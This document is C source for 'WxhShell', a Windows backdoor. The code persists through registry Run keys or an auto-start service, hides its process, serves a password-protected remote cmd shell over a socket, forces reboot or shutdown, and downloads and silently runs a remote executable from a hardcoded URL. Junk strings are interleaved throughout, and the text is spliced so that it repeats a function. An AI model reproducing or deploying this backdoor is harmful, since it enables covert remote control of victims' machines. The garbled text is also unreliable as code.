O$`W^N if(NULL == hInst ) return 0; m ptFd /Z:j:l g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); No^gKh24 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `2mddx8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Joow{75K 2Y
vr|] \8 if (!NtQueryInformationProcess) return 0; V(MYReaPC] f[@96p?a[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v"USD<
if(!hProcess) return 0; )9]a ".?4`@7F\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XUqorE Eb8pM>'qM CloseHandle(hProcess); //R"ZE@d\ b6D;98p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O=B=0 if(hProcess==NULL) return 0; De?VZ2o9" ;qshd'?* HMODULE hMod; o?`FjZ6;x char procName[255]; "4N&T# unsigned long cbNeeded; 1[%3kY-h ?:(y if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =8AT[.Hh 4Yj1Etq.E CloseHandle(hProcess); .ZTvOm'mB^ Ez3fL&* if(strstr(procName,"services")) return 1; // 以服务启动 {w@qFE'b o`bch?] return 0; // 注册表启动 Q Be6\oq } 380` >"D @)Qgy}*5 // 主模块 I'/3_AX int StartWxhshell(LPSTR lpCmdLine) K d&/9<{> { |5&+VI SOCKET wsl; GEc6;uz< BOOL val=TRUE; 0U '"@A
\ int port=0; lSxb:$g struct sockaddr_in door; F-&tSU, EL 5+pt if(wscfg.ws_autoins) Install(); J<$@X JLS ARH~dN* C port=atoi(lpCmdLine); akj<*, a=z] tTs4 if(port<=0) port=wscfg.ws_port; Pvxb6\G&d -`O{iHfM|P WSADATA data; f1 ; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VD;*UkapZx ^HKXm#vAB if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; oaIk1U;g setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~k"+5bHa* door.sin_family = AF_INET; '6so(>| door.sin_addr.s_addr = inet_addr("127.0.0.1"); g'"~' door.sin_port = htons(port); #}`sfaT ~6G
`k^!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &7L7|{18 closesocket(wsl); @X==[gQ return 1; q+ax]=w } :U6`n e4z`:%vy if(listen(wsl,2) == INVALID_SOCKET) { Q6h+. closesocket(wsl); $y(;"hy return 1; Obs#2>h } wlS/(:02 Wxhshell(wsl); k<gH*=uXY' WSACleanup(); J'44j;5& 56v G R( return 0; OVg&?fiP ;%tFi } odv2 (\ S
'a- E![ // 以NT服务方式启动 kDmm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R9XU 7_3B { t{md&k4 DWORD status = 0; |[\;.gT K DWORD specificError = 0xfffffff; N /4E
~^2 2+1ybOwb serviceStatus.dwServiceType = SERVICE_WIN32; V9c.(QY|f serviceStatus.dwCurrentState = SERVICE_START_PENDING; '{&Q&3J_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RSX27fb4 serviceStatus.dwWin32ExitCode = 0; 9YzV48su# serviceStatus.dwServiceSpecificExitCode = 0; #;[G>-tC serviceStatus.dwCheckPoint = 0;
RD$:. serviceStatus.dwWaitHint = 0; %OQdUH4x X9x`i hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W06aj ~7Z if (hServiceStatusHandle==0) return; ?cU,%<r Y_Yf'z1>[ status = GetLastError(); X8C7d6ca if (status!=NO_ERROR) I)HO/i6>3 { c -w #` serviceStatus.dwCurrentState = SERVICE_STOPPED; <BR^Dv07U serviceStatus.dwCheckPoint = 0; 01cBAu
serviceStatus.dwWaitHint = 0; Q\Ek U.[I serviceStatus.dwWin32ExitCode = status; /%@;t@BK4 serviceStatus.dwServiceSpecificExitCode = specificError; >eJ<-3L; SetServiceStatus(hServiceStatusHandle, &serviceStatus); JEjxY& return; \!u<)kkyT } Lqgrt]L_" -TUJ"ep]QJ serviceStatus.dwCurrentState = SERVICE_RUNNING; 6VW*8~~Xy serviceStatus.dwCheckPoint = 0; ZW4f " serviceStatus.dwWaitHint = 0; e~)[I! n if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'uL4ezTtA } (x=$b(I 7KC>?F // 处理NT服务事件,比如:启动、停止 HuhQ|~C+~ VOID WINAPI NTServiceHandler(DWORD fdwControl) \YP,}_~ { E7Lqa
S switch(fdwControl) gV_v5sk
{ q*I*B1p[m case SERVICE_CONTROL_STOP: C'6I< YX serviceStatus.dwWin32ExitCode = 0; '$ei3 serviceStatus.dwCurrentState = SERVICE_STOPPED; YxF@1_g serviceStatus.dwCheckPoint = 0; sd%j&Su#4 serviceStatus.dwWaitHint = 0; (7 I|lf
e { xSY"Ru SetServiceStatus(hServiceStatusHandle, &serviceStatus); g=Xf&}&=x } ~\":o:qyc return; {>>X3I case SERVICE_CONTROL_PAUSE: 3?Pg
;
serviceStatus.dwCurrentState = SERVICE_PAUSED; mjeJoMvN)H break; b3A0o* case SERVICE_CONTROL_CONTINUE: mU5Ox4>&9 serviceStatus.dwCurrentState = SERVICE_RUNNING; t. P@Ba^ break; "\4W])30 case SERVICE_CONTROL_INTERROGATE: =2\2Sp break; +O}Ik.w }; F!+1w(b: SetServiceStatus(hServiceStatusHandle, &serviceStatus); n!)$e;l } 3H2~?CaJ S<Dbv? // 标准应用程序主函数 qb>ULP0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r:*G{m- { ON2o^-%= H|%J" // 获取操作系统版本 {npm9w<; OsIsNt=GetOsVer(); :=Olp;+_ GetModuleFileName(NULL,ExeFile,MAX_PATH); *,\v|]fc IO)B3,g // 从命令行安装 9q'9i9/3d if(strpbrk(lpCmdLine,"iI")) Install(); "U\RN UtQj<18< // 下载执行文件 )/RG-L if(wscfg.ws_downexe) { 4'QX1p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uw;Sfx,s WinExec(wscfg.ws_filenam,SW_HIDE); VF`!ks } fyQOF ItM (b25g! if(!OsIsNt) { sN41Bz$q. // 如果时win9x,隐藏进程并且设置为注册表启动 y4-kuMYR HideProc(); B;k'J:-" StartWxhshell(lpCmdLine); Q'OtXs 80 }
EBy7wU`S else $1yy;IyR if(StartFromService()) G6p gG+w // 以服务方式启动 e=i X]%^ StartServiceCtrlDispatcher(DispatchTable); >wW{$ else ~P3b5 - // 普通方式启动 BH:A]#_{ StartWxhshell(lpCmdLine); (`(D
$% J[ZHAnmPH return 0; :nx+(xgw } jVff@)_S Kg%9&l P:{Aqn~zR WvfP9(- =========================================== (*S<2HN5 Am,{Fj K_YrdA)6 9$)&b\D `~XksyT }e\"VhAl/ " 2!#g\"
#^}H)>jWy #include <stdio.h> oU\]#e^ #include <string.h> Rqe.=+Qs #include <windows.h> E ;Z(v #include <winsock2.h> +|/0sPW( #include <winsvc.h> M%E<]H2;S #include <urlmon.h> M<-Q8a~ ;,77|]<XE #pragma comment (lib, "Ws2_32.lib") Oiib2Ov #pragma comment (lib, "urlmon.lib") _vTr?jjfK 5r5on#O& #define MAX_USER 100 // 最大客户端连接数 P@v"aa\@2) #define BUF_SOCK 200 // sock buffer 5wue2/gl #define KEY_BUFF 255 // 输入 buffer 9pLe8D x Lan1V #define REBOOT 0 // 重启 ]0UYxv%] #define SHUTDOWN 1 // 关机 $@PruY3[ ;\K]~ #define DEF_PORT 5000 // 监听端口 TiD#t+g ~4fE`-O #define REG_LEN 16 // 注册表键长度 [Hh*lKg #define SVC_LEN 80 // NT服务名长度 iT'doF $_S-R
3L\ // 从dll定义API #)'Iqaq7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )LGVR3# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); . 1kB8&} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OBWb0t5H? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J
8
KiL C^ZoYf8+"m // wxhshell配置信息 JwI99I' struct WSCFG { 2Q e&FeT int ws_port; // 监听端口 A4zI1QF char ws_passstr[REG_LEN]; // 口令 M'%4BOpI6` int ws_autoins; // 安装标记, 1=yes 0=no W&hW N9iR char ws_regname[REG_LEN]; // 注册表键名 m7^f%<l char ws_svcname[REG_LEN]; // 服务名 ,5W7a char ws_svcdisp[SVC_LEN]; // 服务显示名 .i*oZ'[X char ws_svcdesc[SVC_LEN]; // 服务描述信息 JCcYFtW char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _Q+c'q Zkl int ws_downexe; // 下载执行标记, 1=yes 0=no 8H7#[?F char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L\#YFf char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F\eQV< 8UU
L= }; lC($@sC % m!ZY]:)$ // default Wxhshell configuration a3 }V/MY struct WSCFG wscfg={DEF_PORT, gvI!Ice# "xuhuanlingzhe", l`"?KD 1, bTJ<8q "Wxhshell", p8'$@:M\ "Wxhshell", qur2t8gnxq "WxhShell Service", lie,A "Wrsky Windows CmdShell Service", ,zgz7 "Please Input Your Password: ", t+v%%N_ 1, NgTB4I8P "http://www.wrsky.com/wxhshell.exe", +,,(8=5g "Wxhshell.exe" /4T6Z[=s }; @ T^FOTW T\9[PX< // 消息定义模块 tK;xW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rR6} char *msg_ws_prompt="\n\r? for help\n\r#>"; #LR4%}mg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
!q+ #JW char *msg_ws_ext="\n\rExit.";
D('.17 char *msg_ws_end="\n\rQuit."; P2vG)u char *msg_ws_boot="\n\rReboot..."; X):7#x@uy char *msg_ws_poff="\n\rShutdown..."; XP)^81i| char *msg_ws_down="\n\rSave to "; 9)wYSz' sSU|N;"Y char *msg_ws_err="\n\rErr!"; wG49|!l6T char *msg_ws_ok="\n\rOK!"; 254V)(t^QM \-yI
dKj char ExeFile[MAX_PATH]; [W3X$r~- int nUser = 0; wQG?)aaM HANDLE handles[MAX_USER]; ,ayEZ#4.m int OsIsNt; !=eNr<:V. r#OPW7mhE SERVICE_STATUS serviceStatus; .e7tq\k SERVICE_STATUS_HANDLE hServiceStatusHandle; i.^ytbH Rq|6d
M6H // 函数声明 loIb}8 int Install(void); b-
- tl@H int Uninstall(void); V;ea Q int DownloadFile(char *sURL, SOCKET wsh); Il
[~ int Boot(int flag); !JXiTI! void HideProc(void); ~vz%I^xW int GetOsVer(void); TVNgj.`+u! int Wxhshell(SOCKET wsl); Q^xk]~G$( void TalkWithClient(void *cs); N>)Db int CmdShell(SOCKET sock); : Hu{MN\ int StartFromService(void); &2ty++gC int StartWxhshell(LPSTR lpCmdLine); ;R@D sfy}J1xIL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bob-qCBV VOID WINAPI NTServiceHandler( DWORD fdwControl ); >4+KEK h$6~3^g:P // 数据结构和表定义 I;G(Wj SERVICE_TABLE_ENTRY DispatchTable[] = x2OAkkH\]i { /?S^#q>m% {wscfg.ws_svcname, NTServiceMain}, xm=$D6O: {NULL, NULL} & Yx12B\ }; }iUpBn fILvEf4b // 自我安装 ~Jj~W+h int Install(void) $++O@C5 { L
gy^^. char svExeFile[MAX_PATH]; {r5OtYmpR HKEY key; U: )Gc strcpy(svExeFile,ExeFile); i;29*" hR.vJ2oa // 如果是win9x系统,修改注册表设为自启动 5/CF_v if(!OsIsNt) { &$l#0?Kc^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /f AAQ7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K(WKx7Kky^ RegCloseKey(key); vF[ 4kDHk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8f65;lyN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OF-VVIS RegCloseKey(key); {:Kr't<XzF return 0; MY}K.^4^ } jCIY(/ } [r'A8!/|[ } ki1j~q else { *D9H3M[o# _8\B~;0 // 如果是NT以上系统,安装为系统服务 +!$`0v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H(y Gh if (schSCManager!=0) Tb8r+~HK {
deTD|R SC_HANDLE schService = CreateService dT (i*E\j ( ^r mQMjF
schSCManager, <~:2~r wscfg.ws_svcname, T4[/_;1g wscfg.ws_svcdisp, pmO0/ty SERVICE_ALL_ACCESS, i` ay9J8N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n.C5w8f SERVICE_AUTO_START, H/={RuU SERVICE_ERROR_NORMAL, sNP
; svExeFile, ( 5uSqw&U NULL, (Fq:G) $ NULL, 9b@yDq3hQ NULL, tE-g]y3 NULL, 1xh7KBr, NULL t%<y^Wa= ); >[~7fxjK- if (schService!=0) t`>Z#=cl\ { yO* CloseServiceHandle(schService); 5OX[)Li CloseServiceHandle(schSCManager); !+QfQghAT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k]`-Y E strcat(svExeFile,wscfg.ws_svcname); M.:JT31>1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fc[_~I' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8B5WbS fL^ RegCloseKey(key); a#& ( i return 0; MX.?tN#F|H } D_)/.m } 18Ju]U CloseServiceHandle(schSCManager); ;y50t$0
} Fmz+ Xb } 5K)_w:U
X /H3w7QU return 1; mZjpPlJ } xtLP4VL x;Slv(|M // 自我卸载 <^_crJONom int Uninstall(void) TY'61xWi { IOY7w"|LW HKEY key; /SQ/$`1{ KC9e{ if(!OsIsNt) { ?)(-_N&T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #N'9
w . RegDeleteValue(key,wscfg.ws_regname); DH.UJ+ RegCloseKey(key); W8;!rFW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B;W%P.<. RegDeleteValue(key,wscfg.ws_regname); jIVD i~Ld RegCloseKey(key); 2A:h&t/|C return 0; \xv(&94U } G.v(2~QFd } {8`$~c } e?*Teb?R else {
*
1xs/$` a(ITv roM/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R^P>yk8 if (schSCManager!=0) "Aw)0a[j1 { H\\FAOj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Z5x\CcC3 if (schService!=0) <V Rb { .>P:{'' if(DeleteService(schService)!=0) { QG2 Zh9R CloseServiceHandle(schService); ^NRf CloseServiceHandle(schSCManager); I0z 7bx return 0; o0|Ex\ } pe\Nwq CloseServiceHandle(schService); V/kndV[j } oD1k7Gq1 CloseServiceHandle(schSCManager); Xc}XRKiy{ } <c:H u{D } evYn} J%M [8 return 1; 6)P.wW } CH
29kQ NY.* S6 // 从指定url下载文件 ~(kqq#=s int DownloadFile(char *sURL, SOCKET wsh) nJ
xO.wWE { ]dI^
S HRESULT hr; +}a(jO char seps[]= "/"; Jww#zEK char *token; X;Sb^c"j1 char *file; x&0kIF'lq char myURL[MAX_PATH]; f.+1Ubq!5 char myFILE[MAX_PATH]; WvSm!W 9OW8/H&! strcpy(myURL,sURL); +F2OPIanT~ token=strtok(myURL,seps); #kq!{5, while(token!=NULL) x\8|A { 5)eM0,: file=token; v$Hz)J.01 token=strtok(NULL,seps); zyUS$g]& } MGt>:&s(] #
#2'QNN GetCurrentDirectory(MAX_PATH,myFILE); ck5cO-1>6 strcat(myFILE, "\\"); c@3 5\!9 strcat(myFILE, file); [|=M<>?[ send(wsh,myFILE,strlen(myFILE),0); =DDKGy.g send(wsh,"...",3,0); nReld
:#T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vZ"gCf3#?3 if(hr==S_OK) m m`#v
g, return 0; \AKP ea= else j-W$)c3X return 1; `Hlf.>b1 emK*g<] } .hR
<{P #~"IlBk\ // 系统电源模块 ._^ne=Lx int Boot(int flag) L-C^7[48= { 9Ffam# HANDLE hToken; zIjfxK TOKEN_PRIVILEGES tkp; tm^joK[{|J ZL\^J8PRK if(OsIsNt) { , 6X;YY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h-?yed*? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jqc}mI\# tkp.PrivilegeCount = 1; _lwKa,} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a*U[;( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jTIG#J) if(flag==REBOOT) { ~$5XiY8A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *qy \%A return 0; $DIy?kZ } aSX4~UYB= else { i#t-p\Tcz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )Ak#1w&q return 0; Babzrt- } n+ebi>}P } ^Z?m)qxvB else { C|TQf8 if(flag==REBOOT) { >Wt@O\k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9$;5J return 0; -oyA5Yx0 } rSJ!vQo
Cb else { t:fz%IOe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fJc( return 0; u@ #%SX } aq}hlA(w } d4;$=P QhJN/v
return 1; vxEi C:&] } {/,(F^T>2 [07E-TT2U // win9x进程隐藏模块 zdrP56rzZ void HideProc(void) D5@=#/?* { ofQs
/
O0L]xr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s)r!3HS if ( hKernel != NULL ) "I/05k K { K {v^Y,B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Fa\y ZX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >,]a>V FreeLibrary(hKernel); N wk } )-&@8` t,|Apl] return; O@a OKk } ~Dq-q6-@t q| 1%G Nb // 获取操作系统版本 ~&D
=;M/ int GetOsVer(void) `mz}D76~# { C?gqX0[ q OSVERSIONINFO winfo; HJ7A/XW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8$_{R!x GetVersionEx(&winfo); <1*.:CL"s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \#:
W return 1; *eIX"&ba else 8p%0d`sX return 0; K
$- * } IeYNTk&< 49=pB,H;H // 客户端句柄模块 }={@_g# int Wxhshell(SOCKET wsl) hHJvLs>^ { k4LrUd SOCKET wsh; Rh^@1{yr struct sockaddr_in client; n!/0yR2S DWORD myID; Bam.B6- pJ/]\>#5 while(nUser<MAX_USER) qr%N/7 { oLKliA=q int nSize=sizeof(client); ~Yk^(hl2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x;u#ec4 if(wsh==INVALID_SOCKET) return 1; r4SwvxhG N)g _LL>^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $J4\jIipL if(handles[nUser]==0) ~O\A 0e closesocket(wsh); VtLRl0/ else @rbd`7$% nUser++; azv173XZ } )v_Wn[Y.H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T"vf g@>llve{ return 0; G|Et'k.F4 } 3oLF^^^g .>R`#@+I // 关闭 socket 8)9-*Bzj void CloseIt(SOCKET wsh) TS6xF? { ,M3hE/rb/ closesocket(wsh); O00;0w u nUser--; i&>^"_4rc ExitThread(0); Lf5zHUH } MQwxQ{ (2H
GV+Dg // 客户端请求句柄 UV D D) void TalkWithClient(void *cs) M@{?#MkS% { Y
bJg{Sb CjpGo}a/ SOCKET wsh=(SOCKET)cs; #G]IEO$M6 char pwd[SVC_LEN]; 5eff3qrH{ char cmd[KEY_BUFF]; BC.3U.
char chr[1]; d9S/_iCI int i,j; ny13+Q`^ .S54:vs while (nUser < MAX_USER) { 5/'Q0]4h hxL?6mhY if(wscfg.ws_passstr) { "ZGP,=?y2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,EEAxmf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +S4>}2N33 //ZeroMemory(pwd,KEY_BUFF); tI{]&dev i=0; Uyb0iQ-,s while(i<SVC_LEN) { iZn0B5]ikj x>EL|Q=? // 设置超时 yk4@@kHW fd_set FdRead; c46-8z$ struct timeval TimeOut; Qa=Y?=Za FD_ZERO(&FdRead); PSq?8. FD_SET(wsh,&FdRead); Vt}QPNt TimeOut.tv_sec=8; @h|qL-:!vG TimeOut.tv_usec=0; `r1}:`.m, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3!p`5hJd if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s;TB(M~i[ (%L/|F_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8C3oi&av/{ pwd=chr[0]; -yqgs>R(d if(chr[0]==0xd || chr[0]==0xa) { A3/[9}(U pwd=0; gDU!dT break; @l j| } `qhT i++; <h:xZtz } nvrh7l9nX ^.LB(GZ, // 如果是非法用户,关闭 socket 95'+8*YCY if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x[{\Aw>$. } V _~lME Jd7chIK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M99ku' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6m?<"y8] XF(D%ygeC while(1) { =Iop _"
9 q(1 ZeroMemory(cmd,KEY_BUFF); Ps@']]4>W c0Ih$z // 自动支持客户端 telnet标准 $}su'EIo j=0; 0L/chP while(j<KEY_BUFF) { LnE/62){N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,7@\e&/& cmd[j]=chr[0]; X,w X)9]J if(chr[0]==0xa || chr[0]==0xd) { }BC%(ZH6 cmd[j]=0; -O$vJ,* break; H};1>G4 } f9K7^qwkiz j++; tNFw1& } 8B*(P> _$AM=?P& // 下载文件 q{&c?l*2 if(strstr(cmd,"http://")) { oH=?1~e send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,]1f)> if(DownloadFile(cmd,wsh)) .*`^dt send(wsh,msg_ws_err,strlen(msg_ws_err),0); zk{d*gN else ."ZG0Zg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k'O.1 } H14Q-2U1xa else { >G|RVB a^l)vh{+ switch(cmd[0]) { NC~?4F[
gra6&&^" // 帮助 Chnt)N`/B4 case '?': { 2*75*EQCH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U3&GRY|## break; e_;6UZ+ } 8UcT?Zp // 安装 cA\W|A) case 'i': { l{AT)1;^ if(Install()) ;Vy'y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Q9OQqg
m else Uwk|M?94 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LN^8U break; 0A9cu,ZdUR } ~e8n yB // 卸载 m>!#}EJ| case 'r': { el%Qxak`" if(Uninstall()) sJlKN send(wsh,msg_ws_err,strlen(msg_ws_err),0); A%O#S<sa else T}TP.!0E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e-CW4x break; ]>o2P cb; } ZIl<y{ // 显示 wxhshell 所在路径 gk#rA/x case 'p': { f+Go 8Lg=M char svExeFile[MAX_PATH]; 3"n8B6 strcpy(svExeFile,"\n\r"); "lZ<bG
strcat(svExeFile,ExeFile); jFv<]D%A[ send(wsh,svExeFile,strlen(svExeFile),0); Uy:.m break; ?0a 0 R } hdL2`5RFF // 重启 MO/N*4U2 case 'b': { g-}sVvM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hzb|: if(Boot(REBOOT)) B$Z!E%a; send(wsh,msg_ws_err,strlen(msg_ws_err),0); nSiNSLv else { H%N+Vr3O, closesocket(wsh); ||HIp9(3 ExitThread(0); (I.`bR } ~4<3`l=A break; sCl,]g0{ } IycxRig // 关机 QR'g*Bro case 'd': { kDh(~nfj send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +GS=zNw# if(Boot(SHUTDOWN)) ;gnr\C*G send(wsh,msg_ws_err,strlen(msg_ws_err),0); W!X]t)Ow else { lg+g:o closesocket(wsh); Sq,ty{j2% ExitThread(0); Qg!*=<b } zY+Et.lg]^ break; ]Dg0@Y } bn35f<+ // 获取shell M(uB
;Te case 's': { Gf\_WNrSE+ CmdShell(wsh); $O8V!R* closesocket(wsh); <UdD@(iZ# ExitThread(0); ~S!kn1&O break; &:*+p-!2< } %#a%Luq // 退出 G |^X:+ case 'x': { "r"An" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~7a BeD CloseIt(wsh); &7&*As break; 6DW|O<k^j } R
<\Yg3m8 // 离开 9m4rNvb case 'q': { s=
fKAxH send(wsh,msg_ws_end,strlen(msg_ws_end),0); @#c6\$ closesocket(wsh); m!g8@YI WSACleanup(); J|24I4 exit(1); iXRt9)MT{ break; VAE?={- } x^2/jUc#B } qu+2..3 } vP?S0>gh YO0x68 // 提示信息 );DIrA if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )`7+o9& } eb@Lh! } oZ:F3 GQ4Q ueBoSZRWX return; {{%8|+B } MToQ8qKs .G~5F- 8' // shell模块句柄 }{oBKm9_p int CmdShell(SOCKET sock) _PXo'*j { 5q`)jd !*) STARTUPINFO si; 9[E$>o"% ZeroMemory(&si,sizeof(si)); c[lob{, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ki6.'#%7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NV4W2thYo PROCESS_INFORMATION ProcessInfo; /,Id_TTCO char cmdline[]="cmd"; 'a?.X _t CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $ow`)?sh return 0; !bQ
&n } F)ld@Ydk= mm<iT59 // 自身启动模式 'TsZuZW] int StartFromService(void) (kyo?3 { kGV`Q typedef struct -xIhN?r) { J4c 4Os>3 DWORD ExitStatus; Y'0?<_ fj DWORD PebBaseAddress; Ytwv=;h- DWORD AffinityMask; fZ:rz;tM DWORD BasePriority; p!QneeA`&X ULONG UniqueProcessId; G0Tc}_o<Y ULONG InheritedFromUniqueProcessId; Sc3M#qm_ } PROCESS_BASIC_INFORMATION; kdPm # $- @SG"t,5s PROCNTQSIP NtQueryInformationProcess; +u:OAsR "gajBY static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8A u<\~p static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ND1%s & g4SYG)'R+ HANDLE hProcess; Yf)|ws?! PROCESS_BASIC_INFORMATION pbi; k:)u7A+ LEnP"o9ZW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L9?/ -@M if(NULL == hInst ) return 0; 2X c E(kb!Rz g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,bp pM g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xb:BIp!e NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fA0=Y,pzv JgKZ;GM:W if (!NtQueryInformationProcess) return 0; NV(4wlh)y eEGcio}_I9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,W8Iabi^ if(!hProcess) return 0; C*6)Ut ' y&=19A# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "M0l; #L=
